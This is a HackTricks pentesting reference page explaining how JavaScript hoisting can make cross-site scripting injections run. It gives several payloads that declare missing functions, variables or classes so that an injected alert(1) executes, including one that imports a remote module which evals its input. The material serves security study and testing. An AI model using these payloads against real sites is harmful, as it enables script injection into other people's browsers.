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157 lines
8.9 KiB
Markdown
157 lines
8.9 KiB
Markdown
# JS Hoisting
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Basic Information
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{% hint style="success" %}
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JavaScript Hoisting refers to the process whereby the **interpreter appears to move the declaration** of functions, variables, classes, or imports to the **top of their scope, prior to execution of the code**.
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{% endhint %}
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JavaScript engine will do (at least two) passes over any script. This is a big simplification, but we can think of JS execution as consisting of two steps. **First, the code is parsed**, which includes checking for **syntax errors** and converting it to an abstract syntax tree. This step also includes what we describe as **hoisting,** where certain forms of declarations are “moved”(hoisted) to the top of the execution stack. If the code passes the parsing step, the engine **continues to execute the script**.
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1. Any code (including the injected payload) must adhere to the syntax rules. **Nothing will execute if the syntax is invalid** anywhere in the final script.
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2. Where in a script code is placed might have importance, but **the text representation of a code snippet is not the same as what is executed** by the runtime in the end. Any language might have rules that decide what order expressions are executed.
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### The four types of hoisting
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Returning to MDN’s description of hoisting, we can read that there are four kinds of hoisting in JavaScript. Again, directly from MDN:
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> 1. Being able to use a variable’s value in its scope before the line it is declared. (“Value hoisting”)
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> 2. Being able to reference a variable in its scope before the line it is declared, without throwing a `ReferenceError`, but the value is always `undefined`. (“Declaration hoisting”)
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> 3. The declaration of the variable causes behavior changes in its scope before the line in which it is declared.
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> 4. The side effects of a declaration are produced before evaluating the rest of the code that contains it.
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followed by
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> The four function declarations above are hoisted with type 1 behavior; `var` declaration is hoisted with type 2 behavior; [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), and [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) declarations (also collectively called _lexical declarations_) are hoisted with type 3 behavior; [`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) declarations are hoisted with type 1 and type 4 behavior.
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## Scenarios
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Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):
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```javascript
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// The function vulnerableFunction is not defined
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vulnerableFunction('test', '<INJECTION>');
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// You can define it in your injection to execute JS
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//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
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'-alert(1)-''); function vulnerableFunction(a,b){return 1};
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//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
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test'); function vulnerableFunction(a,b){ return 1 };alert(1)
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```
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```javascript
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// If a variable is not defined, you could define it in the injection
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// In the following example var a is not defined
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function myFunction(a,b){
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return 1
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};
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myFunction(a, '<INJECTION>')
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//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
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test'); var a = 1; alert(1);
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```
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```javascript
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// If an undeclared class is used, you cannot declare it AFTER being used
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var variable = new unexploitableClass();
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<INJECTION>
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// But you can actually declare it as a function, being able to fix the syntax with something like:
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function unexploitableClass() {
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return 1;
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}
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alert(1);
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```
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```javascript
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// Properties are not hoisted
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// So the following examples where the 'cookie' attribute doesn´t exist
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// cannot be fixed if you can only inject after that code:
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test.cookie('leo','INJECTION')
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test['cookie','injection']
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```
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## More Scenarios
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```javascript
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// Undeclared var accessing to an undeclared method
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x.y(1,INJECTION)
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// You can inject
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alert(1));function x(){}//
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// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
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x.y(1,alert(1));function x(){}//)
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```
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```javascript
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// Undeclared var accessing 2 nested undeclared method
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x.y.z(1,INJECTION)
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// You can inject
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");import {x} from "https://example.com/module.js"//
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// It will be executed
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x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
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// The imported module:
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// module.js
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var x = {
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y: {
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z: function(param) {
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eval(param);
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}
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}
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};
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export { x };
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```
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```javascript
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// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
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// It was injected the: let config;`-alert(1)`//`
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// With the goal of making in the block the var config be empty, so the return is not executed
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// And the same injection was replicated in the body URL to execute an alert
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try {
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if(config){
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return;
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}
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// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
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let config;`-alert(1)`//`+"
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} catch {
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fetch("/error", {
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method: "POST",
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body: {
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url:"https://try-to-catch.glitch.me/"+`
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let config;`-alert(1)-`//`+""
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}
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})
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}
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```
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## References
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* [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
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* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
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* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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